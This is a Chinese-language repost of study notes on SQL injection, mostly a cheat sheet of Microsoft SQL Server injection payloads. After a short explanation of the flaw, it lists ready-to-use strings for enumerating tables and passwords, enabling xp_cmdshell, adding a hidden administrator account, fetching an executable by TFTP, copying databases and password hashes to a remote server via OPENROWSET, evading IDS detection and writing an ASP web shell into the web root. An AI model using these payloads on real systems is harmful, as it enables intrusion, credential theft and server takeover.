看網上資料學習瞭解注入

 

 

隨着B/S模式應用開發的發展,使用該模式編寫程序的程序員愈來愈來越多,可是因爲程序員的水平參差php

不齊,至關大一部分應用程序存在安全隱患。用戶能夠提交一段數據庫查詢代碼,根據程序返回的結果mysql

,得到某些他想要知的數據,這個就是所謂的SQLinjection,即sql注入式攻擊。程序員

腳本注入攻擊者把SQL命令插入到WEB表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQLweb

命令,在某些表單中,用戶輸入的內容直接用來構造動態的SQL命令,或做爲存儲過程的輸入參數,從而sql

獲取想獲得的密碼或其它服務器上的資料。shell

原理數據庫

網站的配備內容等,一旦裏面的數據被某人得到或者是被修改,那麼那我的就可能得到整個網站的控制安全

權。至於怎麼得到這些數據,那些MSSQL弱口令的就不說,剩下的最有可能就是利用注入漏洞。服務器

當用戶在網站外部提交一個參數進入數據庫處理,而後把處理後的結果發給用戶,這個是動態網頁最常oracle

見的,可是這個參數一旦沒有被過濾,使得咱們本身構造的sql語句也能夠和參數一塊兒參與數據庫操做的

,那麼SQL注入漏洞就會產生

一個網站上存在外地數據提交是很正常的,通常都是用參數接受(request),而後再進行處理,而涉及

於數據庫操做的卻佔了很大的一部分。例以下面的例子

這個地址包含了參數1,以及傳遞該參數的變量cs,意思就是,文件夾裏有一個1.asp文件,1.asp文件內

部存在cs變量,做用就是接受有外部提交的一個參數:1,也能夠是其餘的,那麼在1.ASP這個文件裏的

相關代碼通常

例如如下這樣一個例子:

…………

cs=Request("id")

sqlsever="select * form xx where id='"&cs&"'"

……………

用request讀取id變量的內容,而後進行SQL查詢,語句就是 select * from xx where id = 1,這個比

較好理解吧,可是我來用最經典的注入漏洞檢測方法,在參數後面加上’, 查詢語句就變成了

sqlserver=select * from xx where id = ‘1’' ,後面多了一個',出現閉合問題,若是沒有過濾的

那就會提示沒有閉合的’。

利用小竹貢獻的and 1=1和and 1=2 原理也仍是同樣

select * from xx where id = 1 and 1=1

select * from xx where id = 1 and 1=2

1=1是成立的,而1=2是不成立的,那麼查詢結果就是:真 and 假 最終結果是錯

因此,第一個地址返回正常,第二個地址返回不正常,這樣就能夠檢測出有沒有漏洞。

再者參數後面跟着的是SQL語句呢,例如更新語句:

Update admin set passwd = 'poruin' where user= 'admin'

查詢語句就是:select * from xx where id = 1;and update admin set passwd = 'poruin' where

user= 'admin'

存在此漏洞的不可是asp access,asp sql server,php mysql,jsp oracle等都有相似問題。

以上所述爲SQL語句的注入,還有Dll的注入其實就是在目標進程新建了一個線程來加載DLL,不影響DLL

的實際文件。

經常使用實例

1.判斷有無注入點

; and 1=1 and 1=2

2.猜表通常的表的名稱無非是admin adminuser user pass password 等..

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) ---判斷是否存在admin這張表

3.猜賬號數目 若是遇到0< 返回正確頁面 1<;返回錯誤頁面說明賬號數目就是1個

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解字段名稱 在len( ) 括號裏面加上咱們想到的字段名稱.

and 1=(select count(*) from admin where len(*)>0)--

and 1=(select count(*) from admin where len(用戶字段名稱name)>0)

and 1=(select count(*) from admin where len(密碼字段名稱password)>0)

5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面爲止

and 1=(select count(*) from admin where len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 錯誤

and 1=(select count(*) from admin where len(name)>5) 正確 長度是6

and 1=(select count(*) from admin where len(name)=6) 正確

and 1=(select count(*) from admin where len(password)>11) 正確

and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12

and 1=(select count(*) from admin where len(password)=12) 正確

6.猜解字符

and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶賬號的第一位

and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶賬號的第二位

就這樣一次加一個字符這樣猜,猜到夠你剛纔猜出來的多少位了就對了,賬號就算出來了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --

這個查詢語句能夠猜解中文的用戶和密碼.只要把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換

成字符.

group by users. id having 1=1--

group by users. id,users.username,users.password,users.privs having 1=1--

; insert into users values( 666,attacker,foobar,0xffff )--

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable

WHERE COLUMN_NAME NOT IN

(login_id)-

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable

WHERE COLUMN_NAME NOT IN

(login_id,login_name)-

UNION SELECT TOP 1 login_name FROM logintable-

UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--

看服務器打的補丁=出錯了打了SP4補丁

and 1=(select @@VERSION)--

看數據庫鏈接帳號的權限,返回正常,證實是服務器角色sysadmin權限。

and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--

判斷鏈接數據庫賬號。(採用SA帳號鏈接 返回正常=證實了鏈接帳號是SA)

and sa=(SELECT System_user)--

and user_name()=dbo--

and 0<>(select user_name()--

看xp_cmdshell是否刪除

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--

xp_cmdshell被刪除,恢復,支持絕對路徑的恢復

;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--

;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--

反向PING本身實驗

;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod

@s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加賬號

;DECLARE @shell INT EXEC SP_OACREATEwscript.shell,@shell OUTPUT EXEC SP_OAMETHOD

@shell,run,null,C:\WINNT\system32\cmd.exe

/c net user jiaoniang$ 1866574 /add--

建立一個虛擬目錄E盤:

;declare @o int exec sp_oacreatewscript.shell,@o out exec sp_oamethod

@o,run,NULL,cscript.exec:\inetpub\wwwroot\mkwebdir.vbs -w "默認Web站點" -v "e","e:\"--

訪問屬性:(配合寫入一個webshell)

declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod

@o,run,NULL,cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆庫 特殊技巧::%5c=\ 或者把/和\ 修改%5提交

and 0<>(select top 1 paths from newtable)--

獲得庫名(從1到5都是系統的id,6以上才能夠判斷)

and 1=(select name from master.dbo.sysdatabases where dbid=7)--

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

依次提交 dbid = 7,8,9.... 獲得更多的數據庫名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個表 假設爲 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來

獲得其餘的表。

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin

and uid>(str(id))) 暴到UID的數值假設爲18779569 uid=id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 獲得一個admin的一個字

段,假設爲 user_id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in

(id,...)) 來暴出其餘的字段

and 0<(select user_id from BBS.dbo.admin where username>1) 能夠獲得用戶名

依次能夠獲得密碼。假設存在user_id username,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 獲得表名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str

(id))) 判斷id值

and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 全部字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

獲得WEB路徑

;create table [dbo].[swap] ([swappass][char](255));--

and (select top 1 swappass from swap)=1--

;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(

20) exec master..xp_regread

@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual

Roots\,@value_name=/,

values=@testOUTPUT insert into paths(path) values(@test)--

;use ku1;--

;create table cmd (str image);-- 創建image類型的表cmd

存在xp_cmdshell的測試過程:

;exec master..xp_cmdshell dir

;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL賬號

;exec master.dbo.sp_password null,jiaoniang$,1866574;--

;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--

;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes

/active:yes /add;--

;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--

exec master..xp_servicecontrol start,schedule 啓動服務

exec master..xp_servicecontrol start,server

; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD

@shell,run,null,C:\WINNT\system32

\cmd.exe /c net user jiaoniang$ 1866574 /add

;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD

@shell,run,null,C:\WINNT\system32\cmd.exe

/c net localgroup administrators jiaoniang$ /add

; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上傳文件

;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\

;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\

;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目錄bak.dat

若是被限制則能夠。

select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)

查詢構造:

SELECT * FROM news WHERE id=... AND topic=... AND .....

adminand 1=(select count(*) from [user] where username=victim and right(left

(userpass,01),1)=1) and userpass <>

select 123;--

;use master;--

:a or name like fff%;-- 顯示有一個叫ffff的用戶哈。

and 1<>(select count(email) from [user]);--

;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0)

where name=ffff;--

;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad)

where name=ffff;--

;update [users] set email=(select top 1 name from sysobjects where xtype=u and

id>581577110) where name=ffff;--

;update [users] set email=(select top 1 count(id) from password) where name=ffff;--

;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--

;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--

上面的語句是獲得數據庫中的第一個用戶表,並把表名放在ffff用戶的郵箱字段中。

經過查看ffff的用戶資料可得第一個用表叫ad

而後根據表名ad獲得這個表的ID 獲得第二個表的名字

insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char

(0x73),char(0x63)+char(0x68)+char(0x72)+char

(0x69)+char(0x73),0xffff)--

insert into users values( 667,123,123,0xffff)--

insert into users values ( 123,admin--,password,0xffff)--

;and user>0

;and (select count(*) from sysobjects)>0

;and (select count(*) from mysysobjects)>0 //爲access數據庫

枚舉出數據表名

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--

這是將第一個表名更新到aaa的字段處。

讀出第一個表,第二個表能夠這樣讀出來(在條件後加上 and name<>;剛纔獲得的表名)。

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and

name<>vote);--

而後id=1552 and exists(select * from aaa where aaa>5)

讀出第二個表,一個個的讀出,直到沒有爲止。

讀字段是這樣:

;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--

而後id=152 and exists(select * from aaa where aaa>5)出錯,獲得字段名

;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--

而後id=152 and exists(select * from aaa where aaa>5)出錯,獲得字段名

[得到數據表名][將字段值更新爲表名,再想法讀出這個字段的值就可獲得表名]

update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and

name<>;你獲得的表名 查出一個加一個])

[ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in

(table1,table2,…)

經過SQLSERVER注入漏洞建數據庫管理員賬號和系統管理員賬號[當前賬號必須是SYSADMIN組]

[得到數據表字段名][將字段值更新爲字段名,再想法讀出這個字段的值就可獲得字段名]

update 表名 set 字段=(select top 1 col_name(object_id(要查詢的數據表名),字段列如:1) [

where 條件]

繞過IDS的檢測[使用變量]

;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\

;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\

開啓遠程數據庫

基本語法

select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 )

參數: (1) OLEDB Provider name

其中鏈接字符串參數能夠是任何端口用來鏈接,好比

select * from OPENROWSET

(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table

複製目標主機的整個數據庫insert全部遠程表到本地表。

基本語法:

insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1)

select * from table2

這行語句將目標主機上table2表中的全部數據複製到遠程數據庫中的table1表中。實際運用中適當修改

鏈接字符串的IP地址和端口,指向須要的地方,好比:

insert into OPENROWSET

(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1)

select * from

table2

insert into OPENROWSET

(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from

_sysdatabases)

select * from master.dbo.sysdatabases

insert into OPENROWSET

(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from

_sysobjects)

select * from user_database.dbo.sysobjects

insert into OPENROWSET

(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from

_syscolumns)

select * from user_database.dbo.syscolumns

複製數據庫:

insert into OPENROWSET

(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1)

select * from database..table1 insert into OPENROWSET

(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2)

select * fromdatabase..table2

複製哈西表(HASH)登陸密碼的hash存儲於sysxlogins中。方法以下:

insert into OPENROWSET

(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from

_sysxlogins) select

* from database.dbo.sysxlogins

獲得hash以後,就能夠進行暴力破解。

遍歷目錄的方法:先建立一個臨時表:temp

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3

nvarchar(255));--

;insert temp exec master.dbo.xp_availablemedia;-- 得到當前全部驅動器

;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 得到子目錄列表

;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 得到全部子目錄的目錄樹結構,

並寸入temp表中

;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某個文件的

內容

;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--

;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--

;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:\Inetpub\AdminScripts

\adsutil.vbs enum w3svc

;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- (xp_dirtree適用權限PUBLIC)

寫入表:

語句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--

語句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--

語句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--

語句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--

語句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--

語句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--

語句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--

語句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--

語句9:and 1=(SELECT IS_MEMBER(db_owner));--

把路徑寫到表中去:

;create table dirs(paths varchar(100),id int)--

;insert dirs exec master.dbo.xp_dirtree c:\--

and 0<>(select top 1 paths from dirs)--

and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--

;create table dirs1(paths varchar(100),id int)--

;insert dirs exec master.dbo.xp_dirtree e:\web--

and 0<>(select top 1 paths from dirs1)--

把數據庫備份到網頁目錄:下載

;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85))

T order by id desc)

and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 參看相關表。

and 1=(select user_id from USER_LOGIN)

and 0=(select user from USER_LOGIN where user>1)

-=-wscript.shellexample -=-

declare @o int

exec sp_oacreate wscript.shell,@o out

exec sp_oamethod @o,run,NULL,notepad.exe

; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod

@o,run,NULL,notepad.exe--

declare @o int,@f int,@t int,@ret int

declare @line varchar(8000)

exec sp_oacreate scripting.filesystemobject,@o out

exec sp_oamethod @o,opentextfile,@f out,c:\boot.ini,1

exec @ret = sp_oamethod @f,readline,@line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f,readline,@line out

end

declare @o int,@f int,@t int,@ret int

exec sp_oacreate scripting.filesystemobject,@o out

exec sp_oamethod @o,createtextfile,@f out,c:\inetpub\wwwroot\foo.asp,1

exec @ret = sp_oamethod @f,writeline,NULL,

<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>

declare @o int,@ret int

exec sp_oacreate speech.voicetext,@o out

exec sp_oamethod @o,register,NULL,foo,bar

exec sp_oasetproperty @o,speed,150

exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay

00:00:05

; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod

@o,register,NULL,foo,bar exec

sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are

belong to us,528 waitfor delay 00:00:05--

xp_dirtree適用權限PUBLIC

exec master.dbo.xp_dirtree c:\

返回的信息有兩個字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

create table dirs(paths varchar(100),id int)

建表,這裏建的表是和上面xp_dirtree相關連,字段相等、類型相同。

insert dirs exec master.dbo.xp_dirtree c:\

只要咱們建表與存儲進程返回的字段相定義相等就可以執行!達到寫表的效果.

相關文章
相關標籤/搜索